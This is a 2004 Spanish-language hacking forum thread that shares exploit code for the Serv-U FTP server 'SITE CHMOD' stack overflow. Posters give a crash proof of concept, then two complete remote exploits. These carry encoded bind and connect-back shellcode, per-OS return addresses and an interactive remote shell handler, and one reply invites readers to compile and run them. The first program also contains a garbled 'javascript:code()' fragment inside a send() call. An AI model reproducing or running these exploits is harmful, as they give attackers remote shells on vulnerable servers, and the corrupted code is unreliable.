elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
30 Agosto 2008, 03:40  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: sirdarckcat, berz3k)
| | |-+  Serv-U Ftp Server Long Filename Stack Overflow
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Serv-U Ftp Server Long Filename Stack Overflow  (Leído 903 veces)
EL_ZoRRo

Desconectado Desconectado

Mensajes: 233



Ver Perfil
Serv-U Ftp Server Long Filename Stack Overflow
« en: 26 Enero 2004, 23:21 »


Código:
/*
servupoc.c
Serv-U Ftp Server Long Filename Stack Overflow Vunlnerablity
Only Proof of Concept by Pita.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <io.h>

#pragma lib <ws2_32.lib>

//Bad buffer
char buff[]="SITE CHMOD 777 "
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n";


int main(int argc, char** argv)
{
WSADATA wsdata;
int sock;
struct sockaddr_in target;
char user[26]="";
char pass[26]="";

printf("Serv-U Ftp Server Long Filename Stack Overflow Vunlnerablity\n";
printf("Proof of concept by Pita\n";

if (argc < 5)
{
    printf("%s <ip> <port> <user> <pass>\n",argv[0]);
    exit(1);
}

WSAStartup(MAKEWORD(2,0),&wsdata);

sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

memset(&target, 0, sizeof(target));
target.sin_family=AF_INET;
target.sin_addr.s_addr = inet_addr(argv[1]);
target.sin_port=htons(atoi(argv[2]));

snprintf(user,26, "USER %s\r\n", argv[3]);
snprintf(pass,26, "PASS %s\r\n", argv[4]);

connect(sock,(struct sockaddr *)&target, sizeof(target));
send(sock,user,sizeof(ujavascript:code()
javascript:code()ser)-1,0);
send(sock,pass,sizeof(pass)-1,0);
send(sock,buff,sizeof(buff),0);
sleep(2000); // sleep a little
printf("Crashed!\n";

WSACleanup();
closesocket(sock);
return 0;
}


Y el que aseguran que devuelbe la Shell


Código:
/*
* serv-u 4.2 site chmod long_file_name stack overflow exp
* vul discovered by kkqq 0x557 org
* exp coded by mslug safechina net
* Jan 25 2004
*/

/* test with serv-U 4.1.0.7, 4.1.0.11 on win2k sp4 en machine*/

#include <winsock2.h>
#include <stdio.h>

#define CHMOD_CMD "SITE CHMOD 0666 "
#define ERR_HEADER "550 /"
#define SEH_STACK_POSITION 0x54
#define BUF_STACK_POSITION 0x1ec
#define PADDING_SIZE (BUF_STACK_POSITION - SEH_STACK_POSITION -
strlen(ERR_HEADER))

// bindshell shellcode from www.cnhonker.org
#define    PORT             53
#define    PORT_OFFSET      176

//0x0A code removed from shellcode
unsigned char bdshellcode[] =
// decode
"\xEB\x10\x5f\x4f\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0f\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
// shellcode
"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x99\xAC\xAA\x59\x10\xDE\x9D"
"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
"\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
"\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";

//unsigned long jmp_esp = 0x77f4144b;
//unsigned long jmp_ebx = 0x77a5211b;
//unsigned long call_ebx = 0x750219d6; //use this one

unsigned char evil_chmod[5000];
unsigned char seh[] = "\xeb\x06\x90\x90" //jmp below
                     "\xd6\x19\x02\x75" //call_ebx = 0x750219d6
                     "\x33\xc0"         //below: xor eax, eax
                     "\xb0\x1c"         //mov al, 1c
                     "\x03\xd8"         //add ebx, eax
                     "\xc6\x03\x90";    //mov byte ptr [ebx], 90


int main(int argc, char **argv)
{
  WSADATA wsa;
  unsigned short port;
  int ftpsock, ret;
  char recv_buf[1000];
  unsigned long     ip;
  unsigned char buf[100];

  printf("*******************************************\n";
  printf("* Serv-U 4.2 site chmod stack overflow exp*\n";
  printf("* Vul discovered by kkqq 0x557 org        *\n";
  printf("* Coded by mslug safechina net            *\n";
  printf("*******************************************\n";
  printf("\n";

  if(argc<6) {
     printf("serv.exe <host> <port> <user> <password> <path>\n";
     return 0;
  }

  WSAStartup(MAKEWORD(2,2), &wsa);

  port = htons(PORT)^(USHORT)0x9999;
  memcpy(&bdshellcode[PORT_OFFSET], &port, 2);


  ftpsock = connect_tcp(argv[1], atoi(argv[2]));
  if(ftpsock < 0) {
     printf("[-] Connection refused\n";
     return 0;
  }
  ret = recv(ftpsock, recv_buf, sizeof(recv_buf), 0);

  recv_buf[ret] = 0;
  printf("%s", recv_buf);


  sprintf(buf, "USER %s\r\n", argv[3]);
  send(ftpsock, buf, strlen(buf), 0);

  ret = recv(ftpsock, recv_buf, sizeof(recv_buf), 0);

  recv_buf[ret] = 0;
  printf("%s", recv_buf);

  sprintf(buf, "PASS %s\r\n", argv[4]);
  send(ftpsock, buf, strlen(buf), 0);

  ret = recv(ftpsock, recv_buf, sizeof(recv_buf), 0);
  recv_buf[ret] = 0;
  printf("%s", recv_buf);

  sprintf(buf, "CWD %s\r\n", argv[5]);
  send(ftpsock, buf, strlen(buf), 0);

  ret = recv(ftpsock, recv_buf, sizeof(recv_buf), 0);
  recv_buf[ret] = 0;
  printf("%s", recv_buf);

  memset(evil_chmod, 0x90, sizeof(evil_chmod));
  memcpy(evil_chmod, CHMOD_CMD, strlen(CHMOD_CMD));
  memcpy(&evil_chmod[strlen(CHMOD_CMD)+PADDING_SIZE], seh, strlen(seh));
  memcpy(&evil_chmod[strlen(CHMOD_CMD)+PADDING_SIZE+strlen(seh)+20],
bdshellcode, strlen(bdshellcode));

  send(ftpsock, evil_chmod, strlen(evil_chmod), 0);

  printf("[+] Shellcode sent\n";
  printf("[+] Now nc to port 53\n";

  closesocket(ftpsock);
  WSACleanup();

  return 0;
}

int connect_tcp(char *host, int port)
{
  struct hostent *rhost;
  struct sockaddr_in sin_rhost;
  unsigned long ip_rhost;
  int sock;

  memset(&sin_rhost, 0, sizeof(sin_rhost));

  sin_rhost.sin_family = AF_INET;
  sin_rhost.sin_port = htons(port);
  ip_rhost = inet_addr(host);
  if(ip_rhost==INADDR_NONE) {
     rhost = gethostbyname(host);
     if(rhost==0) return -1;
     ip_rhost = *(unsigned long*)rhost->h_addr;
  }

  sin_rhost.sin_addr.s_addr = ip_rhost;

  sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if(sock<0) {
     return -1;
  }

  if(connect(sock, (struct sockaddr*) &sin_rhost, sizeof(sin_rhost))) {
     return -1;
  }

  return sock;
}




Saludos
En línea
Gospel
Colaborador

Desconectado Desconectado

Mensajes: 1.576


monokuroumu


Ver Perfil WWW
Re:Serv-U Ftp Server Long Filename Stack Overflow
« Respuesta #1 en: 27 Enero 2004, 00:50 »

La gente esta sacando exploits como churros...  :D :D :D

Código:
/*
*-----------------------------------------------------------------------
*
* Servu.c - Serv-U FTPD 3.x/4.x "SITE CHMOD" Command
* Remote stack buffer overflow exploit
*
* Copyright © 2004 HUC All Rights Reserved.
*
* Author : lion
* : lion@cnhonker.net
* : http://www.cnhonker.com
* Date : 2004-01-25
* : 2004-01-25 v1.0 Can attack Serv-U v3.0.0.20~v4.1.0.11
* Tested : Windows 2000 Server EN/GB
* :     + Serv-U v3.0.0.20~v4.1.0.11
* Notice : *** Bug found by kkqq kkqq@0x557.org ***
*     : *** You need a valid account and a writable directory. ***
* Complie : cl Servu.c
* Usage     : Servu <-i ip> <-t type> [-u user] [-p pass] [-d dir] [-f ftpport] [-c cbhost] [-s shellport]
*------------------------------------------------------------------------
*/

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "ws2_32")

// for bind shellcode
#define BIND_OFFSET        91

// for connectback shellcode
#define PORT_OFFSET        95
#define IP_OFFSET        88

#define SEH_OFFSET        0x193    //v3.0.0.20~v4.1.0.11
//#define    SEH_OFFSET        0x133     // work on v3.0.0.16~v3.0.0.19, for connectback shellcode
#define MAX_LEN            2048
#define JMP_OVER        "\xeb\x06\xeb\x06"
#define    VERSION            "1.0"

struct
{
    DWORD    dwJMP;
    char    *szDescription;
}targets[] =
{
    {0x7ffa4a1b,"Serv-U v3.0.0.20~v4.1.0.11 GB 2K/XP ALL"},        //for all GB win2000 and winxp
//    {0x74FD69A9,"Serv-U v3.0.0.20~v4.1.0.11 GB 2K SP3/SP4"},    //wsock32.dll jmp ebx addr
//    {0x71a469ad,"Serv-U v3.0.0.20~v4.1.0.11 GB XP SP0/SP1"},    //wsock32.dll jmp ebx addr
//    {0x77e45f17,"Serv-U v3.0.0.20~v4.1.0.11 GB/BG 2K SP4"},        //user32.dll jmp ebx addr
    {0x7ffa2186,"Serv-U v3.0.0.20~v4.1.0.11 BG 2K/XP ALL"},        //for all BG win2000 and winxp    
//    {0x6dec6713,"Serv-U v3.0.0.20~v4.1.0.11 BG 2K SP4"},        //setupapi.dll jmp ebx addr
    {0x6DEE6713,"Serv-U v3.0.0.20~v4.1.0.11 KR 2K SP4"},        //setupapi.dll jmp ebx addr
    {0x77886713,"Serv-U v3.0.0.20~v4.1.0.11 EN 2K SP4"},        //setupapi.dll jmp ebx addr
    {0x76b42a3a,"Serv-U v3.0.0.20~v4.1.0.11 EN XP SP1"},
//    {0x12345678,"Serv-U v3.0.0.20~v4.1.0.11"},
},v;


unsigned char    *szSend[4];
unsigned char    szCommand[MAX_LEN];
char        szDirectory[0x100];

// 28 bytes decode by lion, don't change this.
unsigned char decode[]=
"\xBE\x6D\x69\x6F\x6E\x4E\xBF\x6D\x69\x30\x6E\x4F\x43\x39\x3B\x75"
"\xFB\x4B\x80\x33\x93\x39\x73\xFC\x75\xF7\xFF\xD3";

// Shellcode start sign, use for decode, don't change this.
unsigned char sc_start[]=
"lion";

// Shellcode end sign, use for decode, don't change this.
unsigned char sc_end[]=
"li0n";

// 311 bytes bind shellcode by lion (xor with 0x93)
unsigned char sc[]=
"\x7A\x96\x92\x93\x93\xCC\xF7\x32\xA3\x93\x93\x93\x18\xD3\x9F\x18"
"\xE3\x8F\x3E\x18\xFB\x9B\x18\x64\xF9\x97\xCA\x7B\x36\x93\x93\x93"
"\x71\x6A\xFB\xA0\xA1\x93\x93\xFB\xE4\xE0\xA1\xCC\xC7\x6C\x85\x18"
"\x7B\xF9\x95\xCA\x7B\x1F\x93\x93\x93\x71\x6A\x12\x7F\x03\x92\x93"
"\x93\xC7\xFB\x92\x92\x93\x93\x6C\xC5\x83\xC3\xC3\xC3\xC3\xF9\x92"
"\xF9\x91\x6C\xC5\x87\x18\x4B\x54\x94\x91\x93\x93\xA6\xA0\x53\x1A"
"\xD4\x97\xF9\x83\xC4\xC0\x6C\xC5\x8B\xF9\x92\xC0\x6C\xC5\x8F\xC3"
"\xC3\xC0\x6C\xC5\xB3\x18\x4B\xA0\x53\xFB\xF0\xFE\xF7\x93\x1A\xF5"
"\xA3\x10\x7F\xC7\x18\x6F\xF9\x87\xCA\x1A\x97\x1C\x71\x68\x55\xD4"
"\x83\xD7\x6D\xD4\xAF\x6D\xD4\xAE\x1A\xCC\xDB\x1A\xCC\xDF\x1A\xCC"
"\xC3\x1E\xD7\xB7\x83\xC4\xC3\xC2\xC2\xC2\xF9\x92\xC2\xC2\x6C\xE5"
"\xA3\xC2\x6C\xC5\x97\x18\x5F\xF9\x6C\x6C\xA2\x6C\xC5\x9B\xC0\x6C"
"\xC5\xB7\x6C\xC5\x9F\xC2\xC5\x18\xE6\xAF\x18\xE7\xBD\xEB\x90\x66"
"\xC5\x18\xE5\xB3\x90\x66\xA0\x5A\xDA\xD2\x3E\x90\x56\xA0\x48\x9C"
"\x2D\x83\xA9\x45\xE7\x9B\x52\x58\x9E\x90\x49\xD3\x78\x62\xA8\x8C"
"\xE6\x74\xCD\x18\xCD\xB7\x90\x4E\xF5\x18\x9F\xD8\x18\xCD\x8F\x90"
"\x4E\x18\x97\x18\x90\x56\x38\xCD\xCA\x50\x7B\x65\x6D\x6C\x6C\x1D"
"\xDD\x9D\x7F\xE1\x6D\x20\x85\x3E\x4A\x96\x5D\xED\x4B\x71\xE0\x58"
"\x7E\x6F\xA8\x4A\x9A\x66\x3E\x37\x89\xE3\x54\x37\x3E\xBD\x7A\x76"
"\xDA\x15\xDA\x74\xEA\x55\xEA";

// 294 bytes connectback shellcode by lion (xor with 0x93)
unsigned char cbsc[]=
"\x7A\x6F\x93\x93\x93\xCC\xF7\x32\xA3\x93\x93\x93\x18\xD3\x9F\x18"
"\xE3\x8F\x3E\x18\xFB\x9B\x18\x64\xF9\x97\xCA\x7B\x0F\x93\x93\x93"
"\x71\x6A\xFB\xA0\xA1\x93\x93\xFB\xE4\xE0\xA1\xCC\xC7\x6C\x85\x18"
"\x7B\xF9\x97\xCA\x7B\x10\x93\x93\x93\x71\x6A\x12\x7F\x03\x92\x93"
"\x93\xC7\xFB\x92\x92\x93\x93\x6C\xC5\x83\xC3\xC3\xC3\xC3\xF9\x92"
"\xF9\x91\x6C\xC5\x87\x18\x4B\xFB\xEC\x93\x93\x92\xFB\x91\x93\x93"
"\xA6\x18\x5F\xF9\x83\xC2\xC0\x6C\xC5\x8B\x16\x53\xE6\xD8\xA0\x53"
"\xFB\xF0\xFE\xF7\x93\x1A\xF5\xA3\x10\x7F\xC7\x18\x6F\xF9\x83\xCA"
"\x1A\x97\x1C\x71\x68\x55\xD4\x83\xD7\x6D\xD4\xAF\x6D\xD4\xAE\x1A"
"\xCC\xDB\x1A\xCC\xDF\x1A\xCC\xC3\x1E\xD7\xB7\x83\xC4\xC3\xC2\xC2"
"\xC2\xF9\x92\xC2\xC2\x6C\xE5\xA3\xC2\x6C\xC5\x97\x18\x5F\xF9\x6C"
"\x6C\xA2\x6C\xC5\x9B\xC0\x6C\xC5\x8F\x6C\xC5\x9F\xC2\xC5\x18\xE6"
"\xAF\x18\xE7\xBD\xEB\x90\x66\xC5\x18\xE5\xB3\x90\x66\xA0\x5A\xDA"
"\xD2\x3E\x90\x56\xA0\x48\x9C\x2D\x83\xA9\x45\xE7\x9B\x52\x58\x9E"
"\x90\x49\xD3\x78\x62\xA8\x8C\xE6\x74\xCD\x18\xCD\xB7\x90\x4E\xF5"
"\x18\x9F\xD8\x18\xCD\x8F\x90\x4E\x18\x97\x18\x90\x56\x38\xCD\xCA"
"\x50\x7B\x6C\x6D\x6C\x6C\x1D\xDD\x9D\x7F\xE1\x6D\x20\x85\x3E\x4A"
"\x96\x5D\xED\x4B\x71\xE0\x58\x7E\x6F\xA8\x4A\x9A\x66\x3E\x7F\x6A"
"\x39\xF3\x74\xEA\x55\xEA";

void usage(char *p)
{
    int    i;
    printf( "Usage:\t%s\t<-i ip> <-t type>\n"
        "\t\t[-u user] [-p pass] [-d dir]\n"
        "\t\t[-f ftpport] [-c cbhost] [-s shellport]\n\n"
        "[type]:\n" , p);    
    for(i=0;i<sizeof(targets)/sizeof(v);i++)
    {
        printf("\t%d\t0x%x\t%s\n", i, targets[i].dwJMP, targets[i].szDescription);
    }
}

/* ripped from TESO code and modifed by ey4s for win32 */
void shell (int sock)
{
    int l;
    char buf[512];
    struct    timeval time;
    unsigned long    ul[2];

    time.tv_sec = 1;
    time.tv_usec = 0;

    while (1)
    {
        ul[0] = 1;
        ul[1] = sock;

        l = select (0, (fd_set *)&ul, NULL, NULL, &time);
        if(l == 1)
        {
            l = recv (sock, buf, sizeof (buf), 0);
            if (l <= 0)
            {
                printf ("[-] Connection closed.\n");
                return;
            }
            l = write (1, buf, l);
            if (l <= 0)
            {
                printf ("[-] Connection closed.\n");
                return;
            }
        }
        else
        {
            l = read (0, buf, sizeof (buf));
            if (l <= 0)
            {
                printf("[-] Connection closed.\n");
                return;
            }
            l = send(sock, buf, l, 0);
            if (l <= 0)
            {
                printf("[-] Connection closed.\n");
                return;
            }
        }
    }
}

void main(int argc, char **argv)
{
    struct    sockaddr_in sa, server, client;
    WSADATA    wsd;
    SOCKET    s, s2, s3;
    int    iErr, ret, len;
    char    szRecvBuff[MAX_LEN];
    int    i, j, iType;
    int    iPort=21;
    char    *ip=NULL, *pUser="ftp", *pPass="ftp@ftp.com", *cbHost=NULL;
    char    user[128], pass[128];
    BOOL    bCb=FALSE, bLocal=TRUE;
    unsigned short    shport=53, shport2=0;
    unsigned long    cbip;
    unsigned int    timeout=5000, Reuse;
    char    penetrate[255],cbHost2[20];
    int seh_offset;
   
    printf( "Serv-U FTPD 3.x/4.x \"SITE CHMOD\" remote overflow exploit V%s\r\n"
        "Bug found by kkqq kkqq@0x557.org, Code By lion (lion@cnhonker.net)\r\n"
        "Welcome to HUC website http://www.cnhonker.com\;r\n\n"
             , VERSION);

    seh_offset = SEH_OFFSET;
   
    if(argc < 4)
    {
        usage(argv[0]);
        return;
    }

    for(i=1;i<argc;i+=2)
    {
        if(strlen(argv[i]) != 2)
        {
            usage(argv[0]);
            return;
        }
        // check parameter
        if(i == argc-1)
        {
            usage(argv[0]);
            return;
        }
        switch(argv[i][1])
        {
            case 'i':
                ip=argv[i+1];
                break;
            case 't':
                iType = atoi(argv[i+1]);
                break;
            case 'f':
                iPort=atoi(argv[i+1]);
                break;
            case 'p':
                pPass = argv[i+1];
                break;
            case 'u':
                pUser=argv[i+1];
                break;
            case 'c':
                cbHost=argv[i+1];
                bCb=TRUE;
                break;
            case 's':
                shport=atoi(argv[i+1]);
                break;
            case 'd':
                if(argv[i+1][0] != '/')
                    strcpy(szDirectory, "/");
                strncat(szDirectory, argv[i+1], sizeof(szDirectory)-0x20);
               
                if(szDirectory[strlen(szDirectory)-1] != '/')
                    strcat(szDirectory, "/");
                   
                // correct the directory len
                for(j=0;j<(strlen(szDirectory)-1)%8;j++)
                    strcat(szDirectory, "x");
                   
                printf("%d:%s\r\n", strlen(szDirectory), szDirectory);
                seh_offset = seh_offset - strlen(szDirectory)+1;
                break;
        }
    }

    if((!ip) || (!user) || (!pass))
    {
        usage(argv[0]);
        printf("[-] Invalid parameter.\n");
        return;
    }

    if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) )
    {
        usage(argv[0]);
        printf("[-] Invalid type.\n");
        return;
    }

    if(iPort <0 || iPort >65535 || shport <0 || shport > 65535)
    {
        usage(argv[0]);
        printf("[-] Invalid port.\n");
        return;
    }
   
    _snprintf(user, sizeof(user)-1, "USER %s\r\n", pUser);
    user[sizeof(user)-1]='\0';
    _snprintf(pass, sizeof(pass)-1, "PASS %s\r\n", pPass);
    pass[sizeof(pass)-1]='\0';
    szSend[0] = user;    //user
    szSend[1] = pass;    //pass    
    szSend[2] = penetrate;    //pentrate
    szSend[3] = szCommand;    //shellcode
   
    // Penetrate through the firewall.
    if(bCb && shport > 1024)
    {
        strncpy(cbHost2, cbHost, 20);
        for(i=0;i<strlen(cbHost); i++)
        {
            if(cbHost[i] == '.')
                cbHost2[i] = ',';
        }
       
        sprintf(penetrate, "PORT %s,%d,%d\r\n", cbHost2, shport/256, shport%256);

        //printf("%s", penetrate);
    }
    else
    {
        sprintf(penetrate,"TYPE I\r\n");        
    }

    // fill the "site chmod" command
    strcpy(szCommand, "site chmod 777 ");
   
    // fill the directory
    if(szDirectory[0])
        strcat(szCommand, szDirectory);

    // fill the egg
    for(i=0;i<seh_offset%8;i++)
        strcat(szCommand, "\x90");
    //strcat(szCommand, "BBBB");
   
    // fill the seh
    for(i=0;i<=(seh_offset/8)*8+0x20;i+=8)
    {
        strcat(szCommand, JMP_OVER);
        memcpy(&szCommand[strlen(szCommand)], &targets[iType].dwJMP, 4);
    }
       
    // fill the decode
    strcat(szCommand, decode);

    // fill the shellcode start    sign
    strcat(szCommand, sc_start);

    // fill the shellcode
    if(bCb)
    {
        // connectback shellcode
        shport2 = htons(shport)^(u_short)0x9393;
        cbip = inet_addr(cbHost)^0x93939393;
        memcpy(&cbsc[PORT_OFFSET], &shport2, 2);
        memcpy(&cbsc[IP_OFFSET], &cbip, 4);
        strcat(szCommand, cbsc);        
    }
    else
    {
        // bind shellcode
        shport2 = htons(shport)^(u_short)0x9393;
        memcpy(&sc[BIND_OFFSET], &shport2, 2);
        strcat(szCommand, sc);
    }

    // fill the shellcode end sign
    strcat(szCommand, sc_end);

    // send end
    strcat(szCommand, "\r\n");

    if(strlen(szCommand) >= sizeof(szCommand))
    {
        printf("[-] stack buffer overflow.\n");
        return;
    }
   
//    printf("send size %d:%s", strlen(szCommand), szCommand);
   
    __try
    {
        if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
        {
            printf("[-] WSAStartup error:%d\n", WSAGetLastError());
            __leave;
        }

        s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(s == INVALID_SOCKET)
        {
            printf("[-] Create socket failed:%d",GetLastError());
            __leave;
        }

        sa.sin_family=AF_INET;
        sa.sin_port=htons((USHORT)iPort);
        sa.sin_addr.S_un.S_addr=inet_addr(ip);

        setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));
        iErr = connect(s,(struct sockaddr *)&sa,sizeof(sa));
        if(iErr == SOCKET_ERROR)
        {
            printf("[-] Connect to %s:%d error:%d\n", ip, iPort, GetLastError());
            __leave;
        }
        printf("[+] Connect to %s:%d success.\n", ip, iPort);
       
        if(bCb)
        {
            Sleep(500);
            s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

            server.sin_family=AF_INET;
            server.sin_addr.S_un.S_addr=inet_addr(cbHost);
            //server.sin_addr.s_addr=INADDR_ANY;
            server.sin_port=htons((unsigned short)shport);

            setsockopt(s2,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));

            Reuse = 1;
            setsockopt(s2, SOL_SOCKET, SO_REUSEADDR, (char*)&Reuse, sizeof(Reuse));

            if(bind(s2,(LPSOCKADDR)&server,sizeof(server))==SOCKET_ERROR)
            {
                printf("[-] Bind port on %s:%d error.\n", cbHost, shport);
                printf("[-] You must run nc get the shell.\n");
                bLocal = FALSE;
                //closesocket(s2);
                //__leave;
            }
            else
            {    
                printf("[+] Bind port on %s:%d success.\n", cbHost, shport);
                listen(s2, 1);
            }
        }
       
        for(i=0;i<sizeof(szSend)/sizeof(szSend[0]);i++)
        {
            memset(szRecvBuff, 0, sizeof(szRecvBuff));
            iErr = recv(s, szRecvBuff, sizeof(szRecvBuff), 0);
            if(iErr == SOCKET_ERROR)
            {
                printf("[-] Recv buffer error:%d.\n", WSAGetLastError());
                __leave;
            }
            printf("[+] Recv: %s", szRecvBuff);
           
            if(szRecvBuff[0] == '5')
            {
                printf("[-] Server return a error Message.\r\n");
                __leave;
            }

            iErr = send(s, szSend[i], strlen(szSend[i]),0);
            if(iErr == SOCKET_ERROR)
            {
                printf("[-] Send buffer error:%d.\n", WSAGetLastError());
                __leave;
            }

            if(i==sizeof(szSend)/sizeof(szSend[0])-1)
                printf("[+] Send shellcode %d bytes.\n", iErr);
            else
                printf("[+] Send: %s", szSend[i]);
        }

        printf("[+] If you don't have a shell it didn't work.\n");

        if(bCb)
        {
            if(bLocal)
            {
                printf("[+] Wait for shell...\n");
           
                len = sizeof(client);
                s3 = accept(s2, (struct sockaddr*)&client, &len);
                if(s3 != INVALID_SOCKET)
                {
                    printf("[+] Exploit success! Good luck! :)\n");
                    printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===\n");
                    shell(s3);
                }
            }    
        }
        else
        {
            printf("[+] Connect to shell...\n");
           
            Sleep(1000);
            s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
            server.sin_family = AF_INET;
            server.sin_port = htons(shport);
            server.sin_addr.s_addr=inet_addr(ip);

            ret = connect(s2, (struct sockaddr *)&server, sizeof(server));
            if(ret!=0)
            {
                printf("[-] Exploit seem failed.\n");
                __leave;
            }
           
            printf("[+] Exploit success! Good luck! :)\n");
            printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===\n");
            shell(s2);
        }
       
       
    }

    __finally
    {
        if(s != INVALID_SOCKET) closesocket(s);
        if(s2 != INVALID_SOCKET) closesocket(s2);
        if(s3 != INVALID_SOCKET) closesocket(s3);
        WSACleanup();
    }

    return;
}

Código:
Serv-U FTPD 3.x/4.x "SITE CHMOD" remote overflow exploit V1.0
Bug found by kkqq kkqq@0x557.org, Code By lion (lion@cnhonker.net)
Welcome to HUC website http://www.cnhonker.com;r

Usage:  C:\Exploits\suxpl.exe   <-i ip> <-t type>
                [-u user] [-p pass] [-d dir]
                [-f ftpport] [-c cbhost] [-s shellport]

[type]:
        0       0x7ffa4a1b      Serv-U v3.0.0.20~v4.1.0.11 GB 2K/XP ALL
        1       0x7ffa2186      Serv-U v3.0.0.20~v4.1.0.11 BG 2K/XP ALL
        2       0x6dee6713      Serv-U v3.0.0.20~v4.1.0.11 KR 2K SP4
        3       0x77886713      Serv-U v3.0.0.20~v4.1.0.11 EN 2K SP4
        4       0x76b42a3a      Serv-U v3.0.0.20~v4.1.0.11 EN XP SP1


Si alguno tiene exito compilando y ejecutando el exploit, q postee los resultados.

Salu2
En línea

Xatyro

Desconectado Desconectado

Mensajes: 283


Argentina - ? -


Ver Perfil
Re:Serv-U Ftp Server Long Filename Stack Overflow
« Respuesta #2 en: 27 Enero 2004, 04:22 »

Pues mira.... "gospel", mira


        0      0x7ffa4a1b      Serv-U v3.0.0.20~v4.1.0.11 GB 2K/XP ALL
